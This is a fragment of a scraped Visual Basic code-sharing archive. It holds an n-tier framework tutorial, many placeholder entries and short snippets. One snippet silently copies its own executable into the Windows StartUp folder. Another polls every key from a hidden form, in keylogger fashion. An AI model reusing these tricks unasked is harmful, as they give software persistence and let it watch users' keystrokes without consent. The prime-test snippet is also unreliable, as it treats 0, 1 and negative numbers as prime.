subdirectory called /Business Tier/Server Library. Name the\nfile BusinessObjects.mdb.\n┬á\n<h3>Create the business object tier with our utility</h3>\nWe've finished the lowest level tier, so now we're ready to\nimplement the business objects. Normally this milestone would be the time to\ncall your spouse and warn him or her that you'll be working late for the next\nfew weeks. However, with the Flexible Business Object framework, you'll crank\nout a <code>clsAntenna </code>object in less than five minutes!\nTo do so, first launch Visual Basic and open the\nMaster.vbg file, located in the directory into which you installed\nFramework.zip. When you do, VB opens a project containing four Active-X DLL\nfiles that make up the framework. In the Project Explorer treeview, find the\nBusiness Object project called clsBusObjectLib10. We'll put our new <code>clsAntenna</code>\nand <code>clsAntennas</code> business objects into this project.\nNext, in the Project Explorer, right-click on the\nclsBusObjectLib10 item and select Add | Class Module from the shortcut menu.\nName it clsAntenna. Now, add a second Class module and name it clsAntennas.\nDon't forget to watch the spelling. Set the Instancing property of both to Public\nNot Creatable. If the phrase Option Explicit appears at the top of these\nclasses, go ahead and delete it. The Object Builder will add this phrase back\nlater.\n┬á\n<h3>Launch the Object Builder</h3>\nNext, from Program section of the Windows Start menu,\nlaunch the Object Builder. When you do, the dialog box in Figure A appears.\nIn the Class Name text box, type the class' name you\nwant to build. The dialog box provides the cls for youΓÇöso just enter Antenna\nas shown in Figure A. As you type, the builder automatically fills in the Table\nName and Table Key Column text boxes. These entries need to match the fields in\nthe database. If you followed the previous instructions for creating the\ndatabase, or use the database in the Framework.zip file, you won't need to\nchange the auto-generated values at all.\nNext, click the Browse button next to the Database Name\ntext box and find the BusinessObjects database that we created earlier. You\nshould find it in the /Business Tier/Server Library subdirectory.\nNow click the Load From Database button. After a brief\npause, click OK when the builder tells you that it loaded the properties from\nthe database. If you want, you can click on the dialog box' Properties tab to\nview the newly loaded properties.\nNext, click the Generate button. When you do, the\nbuilder creates the code for the class. Again, after a few seconds a message box\nappears stating that it has generated the code. Click OK. Select the Code tab to\nsee the power of the Object Builder with your own eyes. Four rich-text boxes\ncontain all of the code required to implement <code>clsAntenna</code> and <code>clsAntennas</code>.\nAnd the best part is that you've created them in a fraction of the time it would\nnormally take!\n┬á\n<h3>Drop the code into the project</h3>\nNow that we've got the code, it's just a matter of copying\nand pasting it into the VB project. First, copy the code under Class Code and\npaste it into <code>clsAntenna</code>. Next, copy the code under Collection Code\nand copy ΓÇôand paste it into <code>clsAntennas</code>.\nThe code under Place Code in <code>clsBusObjectServer</code>\ngoes at the bottom of <code>clsBusObjectServer</code>. This file is located in\nthe same project as <code>clsAntenna</code>. Make sure to just append it to the\nend of the existing code. You don't want to delete anything that's already\nthere!\nNext, the code under <code>clsFactoryServer</code> goes\nat the end of <code>clsFactoryServer</code>, which you'll find in the <code>clsFactoryLib10</code>\nProject. Again, make sure to append the code to the end of the class's existing\ncode.\n┬á\n<h3>Enable enumeration</h3>\nAs our last step, we have to set up the collection class to\nproperly handle <code>For Each...Next</code> enumeration. To do so, in the\nProject Explorer, double-click on <code>clsAntennas</code> to bring up the class\nmodule. Select Tools | Procedure Attributes from the menu bar. Click the\nAdvanced button. When you do, Visual Basic displays the dialog box shown in\nFigure D. In the Name field, select NewEnum from the dropdown list. Then,\nin the Procedure ID field, enter ΓÇô4, and click OK. Congratulations,\nyou've just completed the business objects!\nFigure D: The NewEnum attribute allows the For\nEachΓÇªNext enumeration in a collection. \n<img alt=\"[ Figure D ]\" border=\"0\" height=\"404\" src=\"/vb/tutorial/vb/images/NTier1_4.gif\" width=\"338\">\n<h3>Implement the User Interface tier</h3>\nAll we have left to do is add the user-interface tier. In\nthe next article of this series, we'll show you how to create a custom GUI for\nthese objects from start to finish. For now, let's just add a simple pre-created\nGUI that will exercise the business objects we just created.\nTo do so, Select File | Add Project from the menu bar.\nClick on the Existing tab and add the project located in the subdirectory\n/Client Tier/Client directory from the Framework.zip. Add the Client.vbp\nproject. Next, we'll set this project as the Startup project. To do so,\nright-click on it and select Set As Start Up from the shortcut menu. If you\nhaven't saved the program yet, do so now.\nPress [F5] to run the project, and you're off to the\nraces. You've just created your first n-tier application! Go ahead and put the\napp through its paces to make sure it can add, delete, and display all of Acme's\ntowers.\n┬á\n<h3>Conclusion</h3>\nMulti-tier systems offer incredible advantages, but they\nnormally require a multi-week to multi-month investment in time and effort just\nto get started. With the Flexible Business Object Framework and the Object\nBuilder presented in this article, even a complete n-tier novice can tap the\npower of multi-tier applications in just minutes."},{"WorldId":1,"id":7475,"LineNumber":1,"line":"From <a href=\"http://www.zdjournals.com/ivb/0003/ivb0031.htm\">Inside\nVisual Basic Magazine</a>, February\n2000 \nReposted with Permission of <a href=\"http://www.zdjournals.com/\">ZD\nNet Journals</a> \nWhen you create GUIs for enterprise-strength systems,\nimplementing data storage and retrieval from the database can present some major\ndifficulties. Providing a flexible way to manipulate the data without locking up\nthe system is a serious concern. In part 1 of this series, <a href=\"/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=7474\">\"Creating an n-tier application in under 30 minutes</a>\", found in the January issue,\nwe showed you how the Flexible Business Object Framework quickly generates a\nstructure for an n-tier system. In this article, we'll show you how to use it to\novercome the data retrieval and storage problem described above.\n<h3>Data retrieval alternatives</h3>\nAt the basic level, VB provides its data-bound controls for\neasy data manipulation through the GUI. These controls have the advantage of\nrequiring almost no programming and offer quick and easy set up. On the other\nhand, data-bound controls require exclusive locks to the underlying database\ntables and become impractical when the application grows beyond one user.\n<h3>Row-locking</h3>\nAs an alternative, you might combine SQL Server 7.0's\nrow-locking capabilities with the ADO or RDO recordset object model. A GUI that\nused this combination would only lock a database row for the time it took to\nfetch a recordset, modify its contents, and update it. For a moderate sized\nsystem, this method offers a better solution than data bound controls, but on a\nsystem with a large number of simultaneous users it will choke off access to the\ndatabase.\n<h3>SQL statementsΓÇöstill the best choice</h3>\nTo ensure that a system can handle a high number of users,\nthere's really no substitute for executing <code>SQL INSERT, UPDATE,</code> and <code>DELETE</code>\nstatements. These statements are the fastest solution because they lock the\naffected row for the brief moment as the SQL statement executes.\nIn spite of their power, however, direct SQL statements\ndo have some problems. SQL syntax becomes unwieldy when combined with a GUI's\ndynamic nature, making direct SQL generation algorithms complex, tedious to\ncode, and error-prone. Also, if you change a single GUI field, you must rewrite\nthe core algorithm. This usually has nasty effects, most often causing new\nenhancements to break existing functionality that used to work perfectly.\n<h3>Enter the Flexible Object Framework</h3>\nFortunately, the Flexible Object Framework provides a way\nto tap the power of direct SQL statements, without having to resort to complex\nSQL generation routines. Beginning with a prototype and ending with a final\napplication, we'll quickly generate a GUI faster and quicker than you could in a\nstandard client/server application.\n<h3>Download and install the Business Object Framework</h3>\nBefore we start, you need to install the Flexible Business\nObject Framework. To do so, download and unzip this month's sample file from <a href=\"ftp://ftp.zdjournals.com/ivb/200002.ZIP\">ftp.zdjournals.com/ivb/200002.ZIP</a>.\nInside, you'll find the Framework2.zip. (For those who missed last month's\narticle, this file also includes all of the classes that we created previously).\nIf you use WinZip, make sure to select the Use Folder Names check box so that it\npreserves the existing folder structure on your local hard drive. Also, don't\nforget to take note of the directory into which you unzip the files. We'll refer\nto it quite often throughout this article.\n<h3>The business case</h3>\nLet's start with a brief recap of the situation we found\nourselves in last month. The company we worked for, Acme Antenna Corporation,\nsold television, satellite and infrared antennas to customers through direct\nmail. The program management department needed a system to let them better track\ntheir inventory.\nFirst, we analyzed the users' requirements and created a\nclass-diagram that modeled their situation. Then, we used the Flexible Object\nFramework and the Object Builder to quickly create two classes, which we called <code>clsAntenna</code>\nand <code>clsAntennas</code>.\nNow, let's assume that while we created our classes, the\nbusiness analyst busily developed a prototype with the end-users shown in Figure\nA.\nFigure A: We'll use the Flexible Object Framework\nto load and update the data in this form. \n<img alt=\"[ Figure A ]\" border=\"0\" height=\"253\" src=\"/vb/tutorial/vb/images/NTier2_1.gif\" width=\"456\">\nThe business analyst explains that the application needs\nto display all of the antennas owned by Acme, along with each antenna ID, name,\nand manufacturer. The form also needs to add and delete antennas using the\nbuttons on the right. If a user presses the add button, the program should show\na screen like the one shown in Figure B. Armed with this information, we're free\nto create the application.\nFigure B: With only a few lines of code, the\nFlexible Object Framework generates the necessary statements to add the antenna\nyou supply to the list. \n<img alt=\"[ Figure B ]\" border=\"0\" height=\"154\" src=\"/vb/tutorial/vb/images/NTier2_2.gif\" width=\"299\">\n<h3>Implement the application's user interface tier</h3>\nTo begin implementing the application's user interface\ntier, launch Visual Basic and open the master.vbg file located in the directory\ninto which you installed Framework2.zip. After the project loads, you'll see the\nfour Active-X DLL's that make up the framework.\nFirst, select File | Add Project from the menu bar to\nadd a new standard EXE project to this group. Make sure to right-click on the\nproject in the Project Explorer window and select Set As Startup from the\nresulting shortcut menu. Finally, choose Project | References, and then select\nclsBaseClassLib10, clsBusObjLib10, clsClassFactoryLib10, and clsServerLib10.\n<h3>Enable the user to view Acme's antennas</h3>\nThe <code>clsServer</code> in the Flexible Object Framework\nis similar to the Application object in the Microsoft Office object model; you\nmust create it before you can use the rest of the object model. To do so, first\nadd a new module to the project and then add the following code to the general\ndeclarations section:\n<pre>Public gobjServer as clsServer</pre>\nNext, we initialize the variable in the startup form's <code>Load()</code>\nevent, like this:\n<pre>'create new topmost object\nSet gobjServer = new clsServer</pre>\nNow that we have the top-most framework object in place,\nwe're ready to proceed. We'll use a list view control to display Acme's\nantennas, so we'll have to add the Microsoft Windows Common Controls OCX to the\nproject. To do so, select Project | Components from the menu bar, and then\nselect the Microsoft Windows Common Controls 6.0 check box and click OK. Add the\nlistview to the startup form and name it lvAntenna.\nBack in the form's <code>Load()</code> event, we need to\ninitialize the listview control. If you've coded this control before, then\nyou're on familiar territory:\n<pre>With lvAntenna\n .HideColumnHeaders = False\n .View = lvwReport\n .ColumnHeaders.Add , , \"Id\"\n .ColumnHeaders.Add , , \"Name\"\n .ColumnHeaders.Add , , \"Manufacturer\"\nEnd With</pre>\nNext, we call a routine to load and show the antennas, as\nin\nΓÇÿshow antennas\nmShowAntennas\nThat's it for the <code>Load()</code> event, because most\nof the work will be done inside <code>mShowAntennas</code>.\nAs the procedure's first act, it must clear the listview\nof existing items, like so:\n<pre>Sub mShowAntennas()\nWith lvAntenna\n .ListItems.Clear</pre>\nNext, it declares object variables. Before doing so, we\nshould consider what types of objects we need. The users need a list of\nantennas, so the procedure should have some sort of object that holds this\ninformation.\nLooking back at our class diagram from last month\n(included in the \\Design subdirectory underneath the directory into which you\ninstalled the Framework2.zip file), it's pretty obvious that the <code>clsAntennas</code>\ncollection will do the trick. Since this collection object is just like any\nother VB collection, we'll iterate through it with a <code>FOR EACH </code>statement.\nThis means we'll also need a <code>clsAntenna</code> object:\n<pre>ΓÇÿcreate new antenna and antennas objects\nDim objAntenna As clsAntenna\nSet objAntenna = CreateAntenna(gobjServer)\nDim objAntennas As clsAntennas\nSet objAntennas = CreateAntennas(gobjServer)</pre>\nWhat did we just do? The <code>Dim</code> statements\ndeclare two object variables, and the <code>CreateAntenna / CreateAntennas</code>\nfunctions initialize it. You'll see throughout this article that we always\ninitialize our framework variables with <code>Create</code>, before doing\nanything else.\n<h3>Fill the clsAntennas collection</h3>\nNow we're ready to use the variables. Looking at the class\ndiagram, the <code>clsAntennas</code> object has a method called <code>LoadAll</code>\nthat loads it with every antenna. This is exactly what we want to do, so the\nnext line of code simply calls that method:\n<pre>'load all antennas\nobjAntennas.LoadAll</pre>\nThat's all the code it takes to load the antennas into the\ncollection. Behind the scenes, the business object, <code>clsAntennas,</code>\ndirectly executes SQL to retrieve the data. However, due to encapsulation, we\ndon't have to concern ourselves with how it's done!\n<h3>Fill the listview</h3>\nNow that the procedure has loaded the antennas, it simply\nneeds to use a <code>For Each...Next</code> loop to add each antenna to the\nlistview. Again, this only requires typical listview coding:\n<pre>Dim objListItem As ListItem\n'output each one to listbox\nFor Each objAntenna In objAntennas\n Set objListItem = lvAntenna.ListItems _\n .Add(, \"Key\" & objAntenna.AntennaId)\n objListItem.Text = objAntenna.AntennaId\n objListItem.SubItems(1) = objAntenna.Name\n objListItem.SubItems(2) = _\n objAntenna.Manufacturer\nNext objAntenna\nEnd Sub</pre>\nAs denoted by the <code>End Sub</code>, at this point we've\nfinished. Go ahead and run the program, and you'll see a functioning listview\nfilled with Acme Inc's antennas. It's amazing how much we've done with just\nthree declarations and just over a dozen lines of code!\n<h3>Add antennas to the list</h3>\nWhile viewing the antenna list provides some simple\nfunctionality, to make this GUI more than just a fancy report, we should allow\nusers to add new antennas to the inventory list.\nTo do so, first create a new button on the form and set\nthe caption to &Add. In the button's <code>Click()</code> event, add\nthe following code:\n<pre>'show add form\nfrmAdd.Show vbModal\n'update listview with results\nmShowAntennas</pre>\nThis code displays the form, <code>frmAdd</code>, seen in\nFigure B (which we'll create in a moment), and then updates the listview with\nthe results of the new addition.\nNext, create a new form and name it frmAdd. Using\nFigure B as a guide, layout the textboxes, labels, and command buttons as shown.\nName the Name textbox txtName, and name the Manufacturer textbox txtManufacturer.\nNow, as the Cancel button's <code>Click() event</code>, add\n<pre>Unload Me</pre>\nIn the OK button's <code>Click()</code> event, the code\nwill add the new antenna to the <code>clsAntennas</code> class. To enable the\ncode to do so, first declare and initialize a new antenna object:\n<pre>'create a new antenna object\nDim objAntenna As clsAntenna\nSet objAntenna = CreateAntenna</pre>\nNext, the code sets its properties from the text boxes and\nsaves it:\n<pre>'set the object's properties\nobjAntenna.Name = txtName\nobjAntenna.Manufacturer = txtManufacturer\n'save it to the database\nobjAntenna.Save</pre>\nThat's all there is to it. Again, we've added significant\nfunctionality to this program with very little code and absolutely no SQL or\nrecordset programming!\n<h3>Delete an Antenna from the list</h3>\nAs a final feature to our application, let's give users the\nability to delete an antenna. To start, add a new button to the startup form and\nset the caption to &Delete. In the button's <code>Click()</code>\nevent, we'll first validate that the user selected an item, like so\n<pre>'check for nothing selected\nIf (lvAntenna.SelectedItem Is Nothing) Then\n MsgBox \"An antenna must be selected \" & _\n \"to delete.\", vbOKOnly, \"User Error\"\n Exit Sub\n</pre>\nEnd If\nNow that we know the code has a valid antenna to delete, it\nloads an <code>Antenna</code> object into memory and issues the <code>Delete</code>\nmethod as follows:\n<pre>'create object\nDim objAntenna As clsAntenna\nSet objAntenna = CreateAntenna()\n'load it\nobjAntenna.Load lvAntenna.SelectedItem _\n .Text\n'delete it\nobjAntenna.Delete</pre>\nFinally, the procedure refreshes the display to erase the\ndeleted antenna from the GUI:\n<pre>'refresh display\nmShowAntennas</pre>\nAgain, the code is extremely short as well as SQL and\nrecordset free.\n<h3>Conclusion</h3>\nIn this article, we detailed how to program Flexible Object\nFramework GUIs that can harness the power of direct SQL statements without\nrequiring complex SQL generation routines. Using the techniques demonstrated\nhere, you can quickly generate GUIs in a fraction of the time that it would take\nyou, using other methods."},{"WorldId":1,"id":7476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7487,"LineNumber":1,"line":"Private Sub Form_Load()\nText3D \"Hallo\", \"Times New Roman\", 26, 1500, 200, 100, 146, 16, 46\nEnd Sub\nPublic Sub Text3D(Strng As String, Fnt As String, Font_size As Integer, XVal As Integer, YVal As Integer, Depth As Integer, Redcol As Integer, Greencol As Integer, Bluecol As Integer)\nForm1.AutoRedraw = True\nForm1.FontSize = Font_size\nForm1.Font = Fnt\nForm1.ForeColor = RGB(Redcol, Greencol, Bluecol)\nShadowY = YVal\nShadowX = XVal\nFor i = 0 To Depth\nForm1.CurrentX = ShadowX - i\nForm1.CurrentY = ShadowY + i\nIf i = Depth Then Form1.ForeColor = RGB(Redcol + 80, Greencol + 80, Bluecol + 80)\nForm1.Print Strng\nNext i\nForm1.AutoRedraw = False\nEnd Sub\n"},{"WorldId":1,"id":7488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7508,"LineNumber":1,"line":"Option Explicit\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Declare Function BeginPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function TextOut Lib \"gdi32\" Alias \"TextOutA\" (ByVal hdc As Long, _\n ByVal X As Long, ByVal Y As Long, _\n ByVal lpString As String, _\n ByVal nCount As Long) As Long\nPrivate Declare Function EndPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function PathToRegion Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function GetRgnBox Lib \"gdi32\" (ByVal hRgn As Long, lpRect As RECT) _\n As Long\nPrivate Declare Function CreateRectRgnIndirect Lib \"gdi32\" (lpRect As RECT) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, _\n ByVal hSrcRgn1 As Long, _\n ByVal hSrcRgn2 As Long, _\n ByVal nCombineMode As Long) As Long\nPrivate Const RGN_AND = 1\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" _\n (ByVal hwnd As Long, ByVal hRgn As Long, _\n ByVal bRedraw As Boolean) As Long\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" _\n (ByVal hwnd As Long, _\n ByVal wMsg As Long, ByVal wParam As Long, _\n lParam As Any) As Long\nPrivate Const WM_NCLBUTTONDOWN = &HA1\nPrivate Const HTCAPTION = 2\n\nPrivate Function GetTextRgn() As Long\n Dim hRgn1 As Long, hRgn2 As Long\n Dim rct As RECT\n \n BeginPath hdc\n TextOut hdc, 10, 10, Chr$(255), 1\n EndPath hdc\n hRgn1 = PathToRegion(hdc)\n GetRgnBox hRgn1, rct\n hRgn2 = CreateRectRgnIndirect(rct)\n CombineRgn hRgn2, hRgn2, hRgn1, RGN_AND\n 'Return the region handle\n DeleteObject hRgn1\n GetTextRgn = hRgn2\nEnd Function\nPrivate Sub Form_DblClick()\n Unload Me\nEnd Sub\n\nPrivate Sub Form_Load()\n Dim hRgn As Long\n Me.Font.Name = \"Wingdings\"\n Me.Font.Size = 200\n hRgn = GetTextRgn()\n MsgBox \"Remember, Double Click on Flag to Close Me\", vbInformation\n SetWindowRgn hwnd, hRgn, 1\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n ReleaseCapture\n SendMessage hwnd, WM_NCLBUTTONDOWN, HTCAPTION, ByVal 0&\nEnd Sub\nPrivate Sub Timer1_Timer()\n Me.BackColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)\nEnd Sub"},{"WorldId":1,"id":7510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7601,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7649,"LineNumber":1,"line":"'Note: Place a command button named \"Command1\" on a form...\nPrivate Sub Command1_Click()\nDim fileblock(60000000) As Byte\n'opens a file to output to\nOpen \"c:\\windows\\temp\\tempfile.dat\" For Binary As #1\n'creates a massive string to write to the file\nFor i = 1 To 1000000\nfileblock(i) = 1\nNext i\n'this is the loop. it keeps going until the file reaches the size you set in the txtfilesize box\nDo Until LOF(1) > txtfilesize\nPut #1, , fileblock\nDoEvents\nLoop\n'closes the file\nClose #1\n'this deletes the file you just made\nKill \"c:\\windows\\temp\\tempfile.dat\"\nEnd Sub"},{"WorldId":1,"id":7655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7687,"LineNumber":1,"line":"Private Sub Form_Load()\nDim strDir As String\nDim intDir As Integer\nDim strpath As String\nintDir = Len(CurDir()) 'Gets length of Current directory\n'Gets last character from CurDir() and checks if it's a \\\nstrDir = Mid(CurDir(), intDir)\nIf strDir = \"\\\" Then\n strpath = CurDir() & App.EXEName & \".exe\"\n 'If is in main drive like C:\\ or D:\\ it simply\n 'puts the file name, \"C:\\Blah.exe\"\nElse\n strpath = CurDir() & \"\\\" & App.EXEName & \".exe\"\n 'If CurDir() returns no \\ then its in a folder\n 'and will necessitate a \\ inserted so that it looks like\n 'C:\\Folder\\Blah.exe and NOT like C:\\FolderBlah.exe\nEnd If\nOn Error GoTo Death\n'Error statement allows this code to run if it is already\n'in the Start Menu\nFileCopy strpath, _\n\"C:\\WINDOWS\\Start Menu\\Programs\\StartUp\\\" _\n& App.EXEName & \".exe\"\nDeath:\nExit Sub\nResume Next\nEnd Sub"},{"WorldId":1,"id":7688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7691,"LineNumber":1,"line":"'##### Setup ##########\n'Start a standard project with one form.\n'Make the form Height 2200 twips\n'and Width 4400 twips.\n'Put a Label on the form and\n'make it cover the top\n'2/3 of the form.\n'Put a command button on the\n'bottom of the form.\n'Add a Timer to the form.\n'Paste the code into the code window.\n'Have your Immediate window\n'showing to see what its doing.\nOption Explicit\n\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Type POINTAPI\nx As Long\ny As Long\nEnd Type\nPrivate Sub Command1_Click()\nTimer1.Interval = 100\nTimer1.Enabled = True\nMe.Visible = False\nEnd Sub\nPrivate Sub Form_Load()\nTimer1.Enabled = False\nLabel1.Caption = \"Press the button and this form will disappear. \" _\n & \"You can work all you want and the form will stay hidden \" _\n & \"as long as the computer is not sitting idel. \" _\n & \"After a number of seconds have passed without \" _\n & \"keyboard or mouse movement it will reappear.\"\nEnd Sub\nPrivate Sub Timer1_Timer()\nDim MouseMoved As Boolean\nDim KeyPressed As Boolean\nDim KeyCounter As Integer\nDim CurrentCursorPosition As POINTAPI\nStatic LastCursorPosition As POINTAPI\nStatic TimePassed As Date\n'Loop through every key on keyboard\nFor KeyCounter = 1 To 256\n'Check with API for keypress\n If GetAsyncKeyState(KeyCounter) <> 0 Then\n Debug.Print \"Key Pressed\"\n Debug.Print Chr$(KeyCounter)\n KeyPressed = True\n Exit For\n End If\nNext\n'Get the cursor position from API call\nGetCursorPos CurrentCursorPosition\n'Check the new cursor position with\n'the last cursor position\nIf CurrentCursorPosition.x <> LastCursorPosition.x Or _\n CurrentCursorPosition.y <> LastCursorPosition.y Then\n Debug.Print \"Mouse Moved\"\n Debug.Print \"x= \" & CurrentCursorPosition.x\n Debug.Print \"y= \" & CurrentCursorPosition.y\n \n MouseMoved = True\nEnd If\n'Save the present cursor position to\n'check against new position on next pass\n LastCursorPosition = CurrentCursorPosition\n \n Debug.Print DateDiff(\"s\", TimePassed, Now)\n \n'if movement then reset TimePassed\n'back to 0\n If KeyPressed Or MouseMoved = True Then\n TimePassed = Now\n End If\n'if no movement then\n If KeyPressed Or MouseMoved = False Then\n 'check how much time has passed\n 'against the time present time\n 'in seconds and if more than 5\n 'then make the form visiable\n 'and shut the time off.\n 'The more than 100000 is\n 'required for the first pass.\n If DateDiff(\"s\", TimePassed, Now) > 5 And _\n DateDiff(\"s\", TimePassed, Now) < 100000 Then\n Me.Visible = True\n Timer1.Enabled = False\n Exit Sub\n End If\n End If\n KeyPressed = False\n MouseMoved = False\n \nEnd Sub\n"},{"WorldId":1,"id":7698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7718,"LineNumber":1,"line":"Option Explicit\n\n'The Following Code gets added to each Sub in which you\n'Would like to trap errors in. \nErrHandler:\n Dim iErrorAction As Long\n iErrorAction = ErrorHandler(Err)\n Select Case iErrorAction\n Case 1\n Resume\n Case 2\n Resume Next\n Case 3\n 'Case 3 is for Resume to a Line, otherwise left blank\n Case 4\n Exit Sub\n Case 5\n End\n End Select\n'The code below remains in a Module where it can be expanded in one central location\nPublic Function ErrorHandler(iErrNum) As Long\nDim iAction As Long\n Select Case iErrNum\n Case -2147467259\n MsgBox \"A database data entry violation has occurred. \" & \"Error Number = \" & iErrNum\n iAction = 5\n Case 5\n 'Invalid Procedure Call\n MsgBox Error(iErrNum) & \" Contact Help Desk.\"\n iAction = 2\n Case 7\n 'Out of memory\n MsgBox \"Out of Memory. Close all unnecessary applications.\"\n iAction = 1\n Case 11\n 'Divide by 0\n MsgBox \"Zero is not a valid value.\"\n iAction = 1\n Case 48, 49, 51\n 'Error in loading DLL\n MsgBox iErrNum & \" Contact Help Desk\"\n iAction = 5\n Case 57\n 'Device I/O error\n MsgBox \"Insert a disk into Drive A.\"\n iAction = 1\n Case 68\n 'Device Unavailable\n MsgBox \"Device is unavailable(the device may not exist or it is currently unavailable).\"\n iAction = 4\n Case 482, 483\n 'General Printer Error\n MsgBox \"A general printer error has occurred. Your printer may be offline.\"\n iAction = 4\n Case Else\n MsgBox \"Unrecoverable Error. Exiting Application. \" & \"Error Number = \" & iErrNum\n iAction = 5\n End Select\n ErrorHandler = iAction\n End Function"},{"WorldId":1,"id":7719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7720,"LineNumber":1,"line":"Option Explicit\n'Add two textboxes 1- txtFactors(Returns Factors) and 1- Text1(Input number\n'Two commandbuttons 1-cmdPrimeand 1-cmdPrime2\n'One Label 1-Label2\nPrivate Sub cmdPrime_Click()\n Dim I As Long, J As Long, Num As Long\n Num = Val(Text1.Text)\n \n If Num <= 3 Then\n Label2.Caption = \"Entry is Prime\"\n Exit Sub\n End If\n If Num Mod 2 = 0 Then\n Label2.Caption = \"Entry is Not Prime\"\n Exit Sub\n End If\n I = Int(Sqr(Num)) ' Should be Sqrt(Num)\n For J = 3 To I Step 2\n If Num Mod J = 0 Then\n Label2.Caption = \"Entry is Not Prime\"\n Exit Sub\n End If\n Next J\n \n Label2.Caption = \"Entry is Prime\"\n \nEnd Sub\nPrivate Sub cmdPrime2_Click()\n Dim Factors As New Collection\n Dim I As Long, J As Long, K As Long, L As Long, Num As Long\n Num = Val(Text1.Text)\n I = Int(Sqr(Num)) ' Should be 